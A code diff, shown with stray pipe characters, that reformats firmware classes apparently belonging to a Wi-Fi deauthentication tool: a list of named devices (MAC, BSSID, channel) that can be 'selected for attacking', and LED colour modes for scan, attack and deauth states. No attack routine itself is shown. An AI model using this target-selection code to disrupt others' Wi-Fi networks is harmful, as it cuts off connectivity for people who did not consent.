||||||
|
|
||||||
|
if (footer) prntln(N_TABLE_DIVIDER);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::printAll() {
|
void Names::printAll() {
|
||||||
prntln(N_HEADER);
|
prntln(N_HEADER);
|
||||||
int c = count();
|
int c = count();
|
||||||
if (c == 0)
|
|
||||||
prntln(N_ERROR_LIST_EMPTY);
|
if (c == 0) prntln(N_ERROR_LIST_EMPTY);
|
||||||
else
|
else
|
||||||
for (int i = 0; i < c; i++)
|
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||||
print(i, i == 0, i == c - 1);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::printSelected() {
|
void Names::printSelected() {
|
||||||
prntln(N_TABLE_HEADER);
|
prntln(N_TABLE_HEADER);
|
||||||
int max = selected();
|
int max = selected();
|
||||||
int c = count();
|
int c = count();
|
||||||
|
|
||||||
if (max == 0) {
|
|
||||||
prntln(N_ERROR_NO_SELECTED);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
for (int i = 0, j = 0; i < c && j < max; i++) {
|
if (max == 0) {
|
||||||
if (getSelected(i)) {
|
prntln(N_ERROR_NO_SELECTED);
|
||||||
print(i, j == 0, j == max - 1);
|
return;
|
||||||
j++;
|
}
|
||||||
|
|
||||||
|
for (int i = 0, j = 0; i < c && j < max; i++) {
|
||||||
|
if (getSelected(i)) {
|
||||||
|
print(i, j == 0, j == max - 1);
|
||||||
|
j++;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force) {
|
void Names::add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force) {
|
||||||
if (count() >= NAME_LIST_SIZE) {
|
if (count() >= NAME_LIST_SIZE) {
|
||||||
if (force)
|
if (force) internal_remove(0);
|
||||||
internal_remove(0);
|
else {
|
||||||
else {
|
prntln(N_ERROR_LIST_FULL);
|
||||||
prntln(N_ERROR_LIST_FULL);
|
return;
|
||||||
return;
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||||
|
|
||||||
internal_add(mac, name, bssid, ch, selected);
|
internal_add(mac, name, bssid, ch, selected);
|
||||||
sort();
|
sort();
|
||||||
|
|
||||||
prnt(N_ADDED);
|
prnt(N_ADDED);
|
||||||
prntln(name);
|
prntln(name);
|
||||||
changed = true;
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force) {
|
void Names::add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force) {
|
||||||
if (count() >= NAME_LIST_SIZE) {
|
if (count() >= NAME_LIST_SIZE) {
|
||||||
if (force)
|
if (force) internal_remove(0);
|
||||||
internal_remove(0);
|
else {
|
||||||
else {
|
prntln(N_ERROR_LIST_FULL);
|
||||||
prntln(N_ERROR_LIST_FULL);
|
return;
|
||||||
return;
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||||
|
|
||||||
internal_add(macStr, name, bssidStr, ch, selected);
|
internal_add(macStr, name, bssidStr, ch, selected);
|
||||||
sort();
|
sort();
|
||||||
|
|
||||||
prnt(N_ADDED);
|
prnt(N_ADDED);
|
||||||
prntln(name);
|
prntln(name);
|
||||||
changed = true;
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected){
|
void Names::replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
remove(num);
|
|
||||||
|
remove(num);
|
||||||
internal_add(macStr, name, bssidStr, ch, selected);
|
|
||||||
sort();
|
internal_add(macStr, name, bssidStr, ch, selected);
|
||||||
prnt(N_REPLACED);
|
sort();
|
||||||
prntln(name);
|
prnt(N_REPLACED);
|
||||||
changed = true;
|
prntln(name);
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::remove(int num) {
|
void Names::remove(int num) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
prnt(N_REMOVED);
|
|
||||||
prntln(getName(num));
|
prnt(N_REMOVED);
|
||||||
internal_remove(num);
|
prntln(getName(num));
|
||||||
changed = true;
|
internal_remove(num);
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::setName(int num, String name) {
|
void Names::setName(int num, String name) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
internal_add(getMac(num), name, getBssid(num), getCh(num), getSelected(num));
|
|
||||||
|
internal_add(getMac(num), name, getBssid(num), getCh(num), getSelected(num));
|
||||||
prntln(N_CHANGED_NAME);
|
|
||||||
|
prntln(N_CHANGED_NAME);
|
||||||
internal_remove(num);
|
|
||||||
sort();
|
internal_remove(num);
|
||||||
changed = true;
|
sort();
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::setMac(int num, String macStr) {
|
void Names::setMac(int num, String macStr) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
uint8_t mac[6];
|
|
||||||
strToMac(macStr, mac);
|
uint8_t mac[6];
|
||||||
internal_add(mac, getName(num), getBssid(num), getCh(num), getSelected(num));
|
strToMac(macStr, mac);
|
||||||
prntln(N_CHANGED_MAC);
|
internal_add(mac, getName(num), getBssid(num), getCh(num), getSelected(num));
|
||||||
internal_remove(num);
|
prntln(N_CHANGED_MAC);
|
||||||
sort();
|
internal_remove(num);
|
||||||
changed = true;
|
sort();
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::setCh(int num, uint8_t ch) {
|
void Names::setCh(int num, uint8_t ch) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
internal_add(getMac(num), getName(num), getBssid(num), ch, getSelected(num));
|
|
||||||
prntln(N_CHANGED_CH);
|
internal_add(getMac(num), getName(num), getBssid(num), ch, getSelected(num));
|
||||||
internal_remove(num);
|
prntln(N_CHANGED_CH);
|
||||||
sort();
|
internal_remove(num);
|
||||||
changed = true;
|
sort();
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::setBSSID(int num, String bssidStr) {
|
void Names::setBSSID(int num, String bssidStr) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
uint8_t mac[6];
|
|
||||||
strToMac(bssidStr, mac);
|
uint8_t mac[6];
|
||||||
internal_add(getMac(num), getName(num), mac, getCh(num), getSelected(num));
|
strToMac(bssidStr, mac);
|
||||||
prntln(N_CHANGED_BSSID);
|
internal_add(getMac(num), getName(num), mac, getCh(num), getSelected(num));
|
||||||
internal_remove(num);
|
prntln(N_CHANGED_BSSID);
|
||||||
sort();
|
internal_remove(num);
|
||||||
changed = true;
|
sort();
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::select(int num) {
|
void Names::select(int num) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
internal_select(num);
|
|
||||||
prnt(N_SELECTED);
|
internal_select(num);
|
||||||
prntln(getName(num));
|
prnt(N_SELECTED);
|
||||||
changed = true;
|
prntln(getName(num));
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::select(String name) {
|
void Names::select(String name) {
|
||||||
int c = count();
|
int c = count();
|
||||||
for (int i = 0; i < c; i++) {
|
|
||||||
if (getName(i).equals(name)) {
|
for (int i = 0; i < c; i++) {
|
||||||
select(i);
|
if (getName(i).equals(name)) {
|
||||||
return;
|
select(i);
|
||||||
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
prnt(N_ERROR_NOT_FOUND);
|
||||||
prnt(N_ERROR_NOT_FOUND);
|
prntln(name);
|
||||||
prntln(name);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::deselect(int num) {
|
void Names::deselect(int num) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
internal_deselect(num);
|
|
||||||
prnt(N_DESELECTED);
|
internal_deselect(num);
|
||||||
prntln(getName(num));
|
prnt(N_DESELECTED);
|
||||||
changed = true;
|
prntln(getName(num));
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::deselect(String name) {
|
void Names::deselect(String name) {
|
||||||
int c = count();
|
int c = count();
|
||||||
for (int i = 0; i < c; i++) {
|
|
||||||
if (getName(i).equals(name)) {
|
for (int i = 0; i < c; i++) {
|
||||||
deselect(i);
|
if (getName(i).equals(name)) {
|
||||||
return;
|
deselect(i);
|
||||||
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
prnt(N_ERROR_NOT_FOUND);
|
||||||
prnt(N_ERROR_NOT_FOUND);
|
prnt(name);
|
||||||
prnt(name);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::selectAll() {
|
void Names::selectAll() {
|
||||||
int c = count();
|
int c = count();
|
||||||
for (int i = 0; i < c; i++)
|
|
||||||
internal_select(i);
|
for (int i = 0; i < c; i++) internal_select(i);
|
||||||
prntln(N_SELECTED_ALL);
|
prntln(N_SELECTED_ALL);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::deselectAll() {
|
void Names::deselectAll() {
|
||||||
int c = count();
|
int c = count();
|
||||||
for (int i = 0; i < c; i++)
|
|
||||||
internal_deselect(i);
|
for (int i = 0; i < c; i++) internal_deselect(i);
|
||||||
prntln(N_DESELECTED_ALL);
|
prntln(N_DESELECTED_ALL);
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t* Names::getMac(int num) {
|
uint8_t* Names::getMac(int num) {
|
||||||
if (!check(num)) return NULL;
|
if (!check(num)) return NULL;
|
||||||
return list->get(num).mac;
|
|
||||||
|
return list->get(num).mac;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t* Names::getBssid(int num) {
|
uint8_t* Names::getBssid(int num) {
|
||||||
if (!check(num)) return NULL;
|
if (!check(num)) return NULL;
|
||||||
return list->get(num).apBssid;
|
|
||||||
|
return list->get(num).apBssid;
|
||||||
}
|
}
|
||||||
|
|
||||||
String Names::getMacStr(int num) {
|
String Names::getMacStr(int num) {
|
||||||
if (!check(num)) return String();
|
if (!check(num)) return String();
|
||||||
uint8_t* mac = getMac(num);
|
|
||||||
return bytesToStr(mac, 6);
|
uint8_t* mac = getMac(num);
|
||||||
|
return bytesToStr(mac, 6);
|
||||||
}
|
}
|
||||||
|
|
||||||
String Names::getVendorStr(int num) {
|
String Names::getVendorStr(int num) {
|
||||||
if (!check(num)) return String();
|
if (!check(num)) return String();
|
||||||
return searchVendor(list->get(num).mac);
|
|
||||||
|
return searchVendor(list->get(num).mac);
|
||||||
}
|
}
|
||||||
|
|
||||||
String Names::getBssidStr(int num) {
|
String Names::getBssidStr(int num) {
|
||||||
String value;
|
String value;
|
||||||
if (getBssid(num) != NULL) {
|
|
||||||
uint8_t* mac = getBssid(num);
|
if (getBssid(num) != NULL) {
|
||||||
for (int i = 0; i < 6; i++) {
|
uint8_t* mac = getBssid(num);
|
||||||
if (mac[i] < 0x10) value += ZERO;
|
|
||||||
value += String(mac[i], HEX);
|
for (int i = 0; i < 6; i++) {
|
||||||
if (i < 5) value += DOUBLEPOINT;
|
if (mac[i] < 0x10) value += ZERO;
|
||||||
|
value += String(mac[i], HEX);
|
||||||
|
|
||||||
|
if (i < 5) value += DOUBLEPOINT;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
return value;
|
||||||
return value;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
String Names::getName(int num) {
|
String Names::getName(int num) {
|
||||||
if (!check(num)) return String();
|
if (!check(num)) return String();
|
||||||
return String(list->get(num).name);
|
|
||||||
|
return String(list->get(num).name);
|
||||||
}
|
}
|
||||||
|
|
||||||
String Names::getSelectedStr(int num) {
|
String Names::getSelectedStr(int num) {
|
||||||
return b2a(getSelected(num));
|
return b2a(getSelected(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t Names::getCh(int num) {
|
uint8_t Names::getCh(int num) {
|
||||||
if (!check(num)) return 1;
|
if (!check(num)) return 1;
|
||||||
return list->get(num).ch;
|
|
||||||
|
return list->get(num).ch;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Names::getSelected(int num) {
|
bool Names::getSelected(int num) {
|
||||||
if (!check(num)) return false;
|
if (!check(num)) return false;
|
||||||
return list->get(num).selected;
|
|
||||||
|
return list->get(num).selected;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Names::isStation(int num) {
|
bool Names::isStation(int num) {
|
||||||
return getBssid(num) != NULL;
|
return getBssid(num) != NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int Names::count() {
|
int Names::count() {
|
||||||
return list->size();
|
return list->size();
|
||||||
}
|
}
|
||||||
|
|
||||||
int Names::selected() {
|
int Names::selected() {
|
||||||
int num = 0;
|
int num = 0;
|
||||||
for (int i = 0; i < count(); i++)
|
|
||||||
if (getSelected(i)) num++;
|
for (int i = 0; i < count(); i++)
|
||||||
return num;
|
if (getSelected(i)) num++;
|
||||||
|
return num;
|
||||||
}
|
}
|
||||||
|
|
||||||
int Names::stations() {
|
int Names::stations() {
|
||||||
int num = 0;
|
int num = 0;
|
||||||
for (int i = 0; i < count(); i++)
|
|
||||||
if (isStation(i)) num++;
|
for (int i = 0; i < count(); i++)
|
||||||
return num;
|
if (isStation(i)) num++;
|
||||||
|
return num;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Names::internal_check(int num) {
|
bool Names::internal_check(int num) {
|
||||||
return num >= 0 && num < count();
|
return num >= 0 && num < count();
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::internal_select(int num) {
|
void Names::internal_select(int num) {
|
||||||
Device newDevice = list->get(num);
|
Device newDevice = list->get(num);
|
||||||
newDevice.selected = true;
|
|
||||||
list->replace(num, newDevice);
|
newDevice.selected = true;
|
||||||
|
list->replace(num, newDevice);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::internal_deselect(int num) {
|
void Names::internal_deselect(int num) {
|
||||||
Device newDevice = list->get(num);
|
Device newDevice = list->get(num);
|
||||||
newDevice.selected = false;
|
|
||||||
list->replace(num, newDevice);
|
newDevice.selected = false;
|
||||||
|
list->replace(num, newDevice);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected) {
|
void Names::internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected) {
|
||||||
uint8_t* deviceMac = (uint8_t*)malloc(6);
|
uint8_t* deviceMac = (uint8_t*)malloc(6);
|
||||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
|
||||||
char* deviceName = (char*)malloc(name.length() + 1);
|
|
||||||
uint8_t* deviceBssid = NULL;
|
|
||||||
|
|
||||||
name = fixUtf8(name);
|
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||||
|
char* deviceName = (char*)malloc(name.length() + 1);
|
||||||
memcpy(deviceMac, mac, 6);
|
uint8_t* deviceBssid = NULL;
|
||||||
strcpy(deviceName, name.c_str());
|
|
||||||
|
|
||||||
if (bssid) {
|
name = fixUtf8(name);
|
||||||
deviceBssid = (uint8_t*)malloc(6);
|
|
||||||
memcpy(deviceBssid, bssid, 6);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (ch < 1 || ch > 14) ch = 1;
|
memcpy(deviceMac, mac, 6);
|
||||||
|
strcpy(deviceName, name.c_str());
|
||||||
|
|
||||||
Device newDevice;
|
if (bssid) {
|
||||||
newDevice.mac = deviceMac;
|
deviceBssid = (uint8_t*)malloc(6);
|
||||||
newDevice.name = deviceName;
|
memcpy(deviceBssid, bssid, 6);
|
||||||
newDevice.apBssid = deviceBssid;
|
}
|
||||||
newDevice.ch = ch;
|
|
||||||
newDevice.selected = selected;
|
|
||||||
|
|
||||||
list->add(newDevice);
|
if ((ch < 1) || (ch > 14)) ch = 1;
|
||||||
|
|
||||||
|
Device newDevice;
|
||||||
|
newDevice.mac = deviceMac;
|
||||||
|
newDevice.name = deviceName;
|
||||||
|
newDevice.apBssid = deviceBssid;
|
||||||
|
newDevice.ch = ch;
|
||||||
|
newDevice.selected = selected;
|
||||||
|
|
||||||
|
list->add(newDevice);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected) {
|
void Names::internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected) {
|
||||||
uint8_t mac[6];
|
uint8_t mac[6];
|
||||||
if (!strToMac(macStr, mac)) return;
|
|
||||||
|
|
||||||
if (bssidStr.length() == 17) {
|
if (!strToMac(macStr, mac)) return;
|
||||||
uint8_t bssid[6];
|
|
||||||
strToMac(bssidStr, bssid);
|
if (bssidStr.length() == 17) {
|
||||||
internal_add(mac, name, bssid, ch, selected);
|
uint8_t bssid[6];
|
||||||
} else {
|
strToMac(bssidStr, bssid);
|
||||||
internal_add(mac, name, NULL, ch, selected);
|
internal_add(mac, name, bssid, ch, selected);
|
||||||
}
|
} else {
|
||||||
|
internal_add(mac, name, NULL, ch, selected);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::internal_remove(int num) {
|
void Names::internal_remove(int num) {
|
||||||
free(list->get(num).mac);
|
free(list->get(num).mac);
|
||||||
free(list->get(num).name);
|
free(list->get(num).name);
|
||||||
if (list->get(num).apBssid)
|
|
||||||
free(list->get(num).apBssid);
|
if (list->get(num).apBssid) free(list->get(num).apBssid);
|
||||||
list->remove(num);
|
list->remove(num);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::internal_removeAll() {
|
void Names::internal_removeAll() {
|
||||||
while(count() > 0){
|
while (count() > 0) {
|
||||||
free(list->get(0).mac);
|
free(list->get(0).mac);
|
||||||
free(list->get(0).name);
|
free(list->get(0).name);
|
||||||
if (list->get(0).apBssid)
|
|
||||||
free(list->get(0).apBssid);
|
|
||||||
list->remove(0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
if (list->get(0).apBssid) free(list->get(0).apBssid);
|
||||||
|
list->remove(0);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -7,7 +7,7 @@
|
|||||||
extern "C" {
|
extern "C" {
|
||||||
#include "user_interface.h"
|
#include "user_interface.h"
|
||||||
}
|
}
|
||||||
#include <ArduinoJson.h>
|
#include "ArduinoJson.h"
|
||||||
#include "language.h"
|
#include "language.h"
|
||||||
#include "SimpleList.h"
|
#include "SimpleList.h"
|
||||||
|
|
||||||
@@ -15,9 +15,9 @@ extern "C" {
|
|||||||
#define NAME_MAX_LENGTH 16
|
#define NAME_MAX_LENGTH 16
|
||||||
|
|
||||||
extern void checkFile(String path, String data);
|
extern void checkFile(String path, String data);
|
||||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer &jsonBuffer);
|
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||||
extern bool writeFile(String path, String &buf);
|
extern bool writeFile(String path, String& buf);
|
||||||
extern bool appendFile(String path, String &buf);
|
extern bool appendFile(String path, String& buf);
|
||||||
extern bool strToMac(String macStr, uint8_t* mac);
|
extern bool strToMac(String macStr, uint8_t* mac);
|
||||||
extern String searchVendor(uint8_t* mac);
|
extern String searchVendor(uint8_t* mac);
|
||||||
extern String fixUtf8(String str);
|
extern String fixUtf8(String str);
|
||||||
@@ -26,81 +26,79 @@ extern String escape(String str);
|
|||||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||||
|
|
||||||
class Names {
|
class Names {
|
||||||
public:
|
public:
|
||||||
Names();
|
Names();
|
||||||
|
|
||||||
void load();
|
|
||||||
void load(String filepath);
|
|
||||||
void save(bool force);
|
|
||||||
void save(bool force,String filepath);
|
|
||||||
void sort();
|
|
||||||
|
|
||||||
String find(uint8_t* mac);
|
|
||||||
int findID(uint8_t* mac);
|
|
||||||
|
|
||||||
void print(int num);
|
void load();
|
||||||
void print(int num, bool header, bool footer);
|
void load(String filepath);
|
||||||
void select(int num);
|
void save(bool force);
|
||||||
void select(String name);
|
void save(bool force, String filepath);
|
||||||
void deselect(int num);
|
void sort();
|
||||||
void deselect(String name);
|
|
||||||
void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force);
|
|
||||||
void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force);
|
|
||||||
void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected);
|
|
||||||
void remove(int num);
|
|
||||||
|
|
||||||
void printAll();
|
|
||||||
void printSelected();
|
|
||||||
void selectAll();
|
|
||||||
void deselectAll();
|
|
||||||
void removeAll();
|
|
||||||
|
|
||||||
uint8_t* getMac(int num);
|
|
||||||
uint8_t* getBssid(int num);
|
|
||||||
String getMacStr(int num);
|
|
||||||
String getBssidStr(int num);
|
|
||||||
String getName(int num);
|
|
||||||
String getVendorStr(int num);
|
|
||||||
String getSelectedStr(int num);
|
|
||||||
uint8_t getCh(int num);
|
|
||||||
bool getSelected(int num);
|
|
||||||
bool isStation(int num);
|
|
||||||
|
|
||||||
void setName(int num, String name);
|
String find(uint8_t* mac);
|
||||||
void setMac(int num, String macStr);
|
int findID(uint8_t* mac);
|
||||||
void setCh(int num, uint8_t ch);
|
|
||||||
void setBSSID(int num, String bssidStr);
|
|
||||||
|
|
||||||
int count();
|
|
||||||
int selected();
|
|
||||||
int stations();
|
|
||||||
|
|
||||||
bool check(int num);
|
void print(int num);
|
||||||
private:
|
void print(int num, bool header, bool footer);
|
||||||
String FILE_PATH = "/names.json";
|
void select(int num);
|
||||||
bool changed = false;
|
void select(String name);
|
||||||
|
void deselect(int num);
|
||||||
struct Device{
|
void deselect(String name);
|
||||||
uint8_t* mac; // mac address
|
void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force);
|
||||||
char* name; // name of saved device
|
void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force);
|
||||||
uint8_t* apBssid; // mac address of AP (if saved device is a station)
|
void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected);
|
||||||
uint8_t ch; // Wi-Fi channel of Device
|
void remove(int num);
|
||||||
bool selected; // select for attacking
|
|
||||||
};
|
void printAll();
|
||||||
|
void printSelected();
|
||||||
SimpleList<Device>* list;
|
void selectAll();
|
||||||
|
void deselectAll();
|
||||||
int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd);
|
void removeAll();
|
||||||
bool internal_check(int num);
|
|
||||||
void internal_select(int num);
|
uint8_t* getMac(int num);
|
||||||
void internal_deselect(int num);
|
uint8_t* getBssid(int num);
|
||||||
void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected);
|
String getMacStr(int num);
|
||||||
void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected);
|
String getBssidStr(int num);
|
||||||
void internal_remove(int num);
|
String getName(int num);
|
||||||
void internal_removeAll();
|
String getVendorStr(int num);
|
||||||
|
String getSelectedStr(int num);
|
||||||
|
uint8_t getCh(int num);
|
||||||
|
bool getSelected(int num);
|
||||||
|
bool isStation(int num);
|
||||||
|
|
||||||
|
void setName(int num, String name);
|
||||||
|
void setMac(int num, String macStr);
|
||||||
|
void setCh(int num, uint8_t ch);
|
||||||
|
void setBSSID(int num, String bssidStr);
|
||||||
|
|
||||||
|
int count();
|
||||||
|
int selected();
|
||||||
|
int stations();
|
||||||
|
|
||||||
|
bool check(int num);
|
||||||
|
|
||||||
|
private:
|
||||||
|
String FILE_PATH = "/names.json";
|
||||||
|
bool changed = false;
|
||||||
|
|
||||||
|
struct Device {
|
||||||
|
uint8_t* mac; // mac address
|
||||||
|
char * name; // name of saved device
|
||||||
|
uint8_t* apBssid; // mac address of AP (if saved device is a station)
|
||||||
|
uint8_t ch; // Wi-Fi channel of Device
|
||||||
|
bool selected; // select for attacking
|
||||||
|
};
|
||||||
|
|
||||||
|
SimpleList<Device>* list;
|
||||||
|
|
||||||
|
int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd);
|
||||||
|
bool internal_check(int num);
|
||||||
|
void internal_select(int num);
|
||||||
|
void internal_deselect(int num);
|
||||||
|
void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected);
|
||||||
|
void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected);
|
||||||
|
void internal_remove(int num);
|
||||||
|
void internal_removeAll();
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif
|
#endif // ifndef Names_h
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@@ -1,110 +1,27 @@
|
|||||||
#include "Neopixel.h"
|
#include "NeopixelLED.h"
|
||||||
|
|
||||||
Neopixel::Neopixel() {
|
|
||||||
|
|
||||||
|
NeopixelLED::NeopixelLED(int num, uint8_t dataPin, uint8_t brightness) {
|
||||||
|
strip = new Adafruit_NeoPixel(num, dataPin, NEO_GRB + NEO_KHZ800);
|
||||||
|
setBrightness(brightness);
|
||||||
}
|
}
|
||||||
|
|
||||||
// setup pins
|
NeopixelLED::~NeopixelLED() {
|
||||||
void Neopixel::setup(){
|
delete strip;
|
||||||
if(!settings.getLedEnabled()) return;
|
|
||||||
|
|
||||||
// ===== adjustable ===== //
|
|
||||||
strip.setBrightness(100);
|
|
||||||
strip.begin();
|
|
||||||
strip.show();
|
|
||||||
// ====================== //
|
|
||||||
|
|
||||||
setMode(LED_MODE_OFF, true);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Neopixel::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
|
void NeopixelLED::setup() {
|
||||||
// debug output
|
strip->begin();
|
||||||
if (output){
|
strip->show();
|
||||||
char s[30];
|
|
||||||
sprintf(s,str(L_OUTPUT_A).c_str(), r, g, b);
|
|
||||||
prnt(String(s));
|
|
||||||
}
|
|
||||||
|
|
||||||
// ===== adjustable ===== //
|
|
||||||
if (brightness > 0 && brightness < 100) {
|
|
||||||
if (r > 0 && brightness < 100) r = r * brightness / 100;
|
|
||||||
if (g > 0 && brightness < 100) g = g * brightness / 100;
|
|
||||||
if (b > 0 && brightness < 100) b = b * brightness / 100;
|
|
||||||
}
|
|
||||||
|
|
||||||
for(uint16_t i=0;i<LED_NEOPIXEL_NUM;i++){
|
|
||||||
strip.setPixelColor(i,strip.Color(r,g,b,brightness));
|
|
||||||
}
|
|
||||||
strip.show();
|
|
||||||
// ====================== //
|
|
||||||
|
|
||||||
// debug output
|
|
||||||
if (output){
|
|
||||||
char s[30];
|
|
||||||
sprintf(s,str(L_OUTPUT_B).c_str(), r?255:0, g?255:0, b?255:0);
|
|
||||||
prnt(String(s));
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// customize color codes for different LED modes
|
void NeopixelLED::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||||
void Neopixel::setMode(uint8_t mode, bool force) {
|
int num = strip->numPixels();
|
||||||
// ===== adjustable ===== //
|
|
||||||
if (mode != Neopixel::mode || force) {
|
for (uint16_t i = 0; i < num; i++) strip->setPixelColor(i, strip->Color(r, g, b));
|
||||||
Neopixel::mode = mode;
|
strip->show();
|
||||||
switch (mode) {
|
|
||||||
case LED_MODE_OFF:
|
|
||||||
setColor(0, 0, 0, LED_MODE_BRIGHTNESS, false);
|
|
||||||
break;
|
|
||||||
case LED_MODE_SCAN:
|
|
||||||
if(LED_DYNAMIC_BRIGHTNESS) setColor(0, 0, 255, (uint8_t)(scan.getScaleFactor(100)*scan.getPacketRate()), false); // change color depending on packet rate
|
|
||||||
else setColor(0, 0, 255, LED_MODE_BRIGHTNESS, false);
|
|
||||||
break;
|
|
||||||
case LED_MODE_ATTACK:
|
|
||||||
setColor(255, 255, 0, LED_MODE_BRIGHTNESS, false);
|
|
||||||
break;
|
|
||||||
case LED_MODE_DEAUTH:
|
|
||||||
if(LED_DYNAMIC_BRIGHTNESS) setColor(255, 0, 0, scan.deauths > 255 ? 255 : scan.deauths , false); // brightness depending on how many deauths/s
|
|
||||||
else setColor(255, 0, 0, LED_MODE_BRIGHTNESS, false);
|
|
||||||
break;
|
|
||||||
case LED_MODE_IDLE:
|
|
||||||
setColor(0, 255, 0, LED_MODE_BRIGHTNESS, false);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// ====================== //
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Neopixel::tempEnable() {
|
void NeopixelLED::setBrightness(uint8_t brightness) {
|
||||||
tempEnabled = true;
|
if (brightness > 100) brightness = 100;
|
||||||
prntln(L_ENABLED);
|
strip->setBrightness(brightness);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Neopixel::tempDisable() {
|
|
||||||
tempEnabled = false;
|
|
||||||
prntln(L_DISABLED);
|
|
||||||
}
|
|
||||||
|
|
||||||
bool Neopixel::getTempEnabled() {
|
|
||||||
return tempEnabled;
|
|
||||||
}
|
|
||||||
|
|
||||||
